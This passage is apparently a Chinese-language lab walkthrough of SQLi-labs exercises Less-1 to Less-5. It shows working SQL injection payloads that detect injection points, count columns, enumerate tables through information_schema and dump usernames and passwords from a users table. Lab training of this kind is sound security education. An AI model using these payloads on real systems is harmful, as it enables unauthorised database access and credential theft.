Less-1 字符型'
注入
判断是否存在注入点
构造?id=1'
导致数据库错误信息泄露,可以推断出此处存在注入点,并且对方正在使用Mysql数据库。
?id=1
返回正常页面
?id=1' and 1=1--+
true,仍返回正常页面
?id=1' and 1=2--+
false,什么也没返回,说明此处存在字符型sql注入
确定查询的列数
方法1:?id=-1' union select 1,2,3;--+
需要让之前的查询无返回数据,才能让我们构造的sql语句有回显:
方法2:首先猜测其查询的结果集有第3列,可以正常返回,再紧接着猜测是否有第4列,可以看到页面报错了,故可以猜测出该查询的结果集中最多只有3列
?id=1' order by 3;--+
?id=1' order by 4;--+
爆出数据库名
?id=0' union select 1,database(),@@datadir;--+
当前数据库名为security
并且数据库的路径为E:\phpstudy_pro\Extensions\MySQL5.7.26\data\
,即也已知了该数据库的版本信息。
爆出表名
Mysql数据库相关知识
Mysql服务器安装后默认创建如下系统数据库:
information_schema:
存储关于数据库元数据的信息,如数据库、表、列和索引的详细信息,只读。mysql:
存储mysql数据库服务器的核心数据,包括用户账户、权限设置、服务器配置等。performance_schema:
用于收集和保存服务器性能数据,它提供了MySQL服务器性能的详细视图,帮助进行性能优化和调试。sys:
这个数据库包含视图和存储过程,这些视图和存储过程简化了性能数据的查询。它基于performance_schema
数据库,提供了更易于理解的性能数据。在MySQL5.7及更高版本中引入的,如果你的MySQL版本低于5.7,那么将没有sys数据库。
在MySQL的information_schema
数据库中,schemata
表存储有关数据库的元数据,其中:
- SCHEMA_NAME:Mysql中的所有数据库名
在MySQL的information_schema
数据库中,tables
表存储了关于数据库中所有表的元数据,其中:
- TABLE_SCHEMA:表所属的数据库名称
- TABLE_NAME:列所属的表名称
在MySQL的information_schema数据库中,columns表是一个非常重要的表,它存储了关于所有数据库中表的列(字段)的详细元数据信息,其中:
- TABLE_SCHEMA:表所属的数据库名称
- TABLE_NAME:列所属的表名称
- COLUMN_NAME:列的名称
基于以上,我们就可以构造如下的sql语句,查询到security
数据库下的所有表名:
?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';--+
即数据库在执行查询时实际在执行select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';
union
前一个的select语句结果集什么也不返回。
爆出字段名
很明显用户信息应该存储在users
表中,我们尝试查询该表中的字段名,构造如下sql查询语句:
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns
where table_schema='security' and table_name='users';--+
结果如下:有3个字段名,分别为id,username,password
也可以尝试查询其他表的字段,看是否有可利用的敏感信息,如:
爆出数据
现在已知数据库名,表名,字段名,故可以进一步查询出所有数据,构造如下sql语句:
?id=0' union select 1,2,group_concat(username,':',password) from users;--+
,查询出users
表中的所有用户名和密码:
Less-2 数字型注入
?id=1';--+
,页面报错,故存在注入点且参数id
的值应该不是字符型数据。
?id=1 and 1=1;--+
,返回正常页面:
?id=1 and 1=2;--+
,返回异常页面,故可以判断出此注入为数字型注入。
Less-3 字符型')
注入
?id=1'--+
页面报错信息为:
错误信息解析:
- "You have an error in your SQL syntax;":意思是在SQL语法中存在错误。
- "check the manual that corresponds to your MySQL server version for the right syntax to use near":提示需要查看MySQL版本对应的手册,以找到正确的语法使用方法。
- "'1') LIMIT 0,1":具体指出了在执行查询时发生错误的位置,通常是由于单引号或者其他SQL语法错误导致的。
构造?id=1') and 1=1;--+
,返回正常页面:
?id=1') and 1=2;--+
,返回异常页面:
故此处存在')
闭合的字符型sql注入。
Less-4 字符型")
注入
?id=1"
页面报错,报错信息为:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
进而输入?id=1"),
报错信息为:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '") LIMIT 0,1' at line 1
则可以推断出对方sql查询语句字段处的闭合方式应该是")
,我们对猜测进行验证:
?id=1") and 1=1--+
,返回正常页面:
?id=1") and 1=2--+
返回异常页面,故可以判断出该参数处存在")
闭合的字符型sql注入。
Less-5 字符型'
报错注入
当我们向URL参数id
注入单引号?id=1'
发现数据库返回了如下错误信息:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
这表明在构造的SQL查询中存在语法错误,这意味着存在SQL注入漏洞。 为了进一步验证这一潜在的注入点,可以进行如下测试:
?id=1'--+
返回正常页面,则此处参数的闭合方式必然是单引号'
;
?id=1' and 1=1--+
返回正常页面,说明注入的SQL查询语法正确且没有破坏原有的查询逻辑。
?id=1' and 1=2--+
返回异常页面,说明注入的SQL查询执行时,因为1=2的条件不成立,导致查询没有返回结果或返回异常页面。因此,这表明存在字符型注入,因为注入的'
符号成功地闭合了原查询的字符串,并且后续的条件语句被成功执行。
由于页面没有返回任何其他数据的回显,我们可以考虑尝试基于错误信息的报错注入,以获取更多关于数据库的信息。此题也可以用盲注,只是比报错注入相对繁琐。
报错注入原理
步骤
注入点发现
- 攻击者通过向应用程序的输入字段(如URL参数、表单输入框等)插入恶意SQL代码来寻找可能存在的注入点。
构造恶意注入
- 攻击者在注入点插入特定的SQL语句片段,以触发数据库错误或异常。常见的方法包括在字符串中插入单引号
'
或其他特殊字符来破坏原始SQL查询的结构。
错误信息泄露
- 当数据库执行包含恶意注入的SQL语句时,如果发生错误或异常,数据库系统可能会返回详细的错误消息或调试信息,其中可能包含关键的数据库信息,如数据库名称、表结构、数据记录等。
利用错误信息
- 攻击者利用错误消息中泄露的敏感信息来进一步攻击系统,例如获取数据库名称、表名、列名等,甚至可能利用更高级的技术进一步扩展攻击,如联合查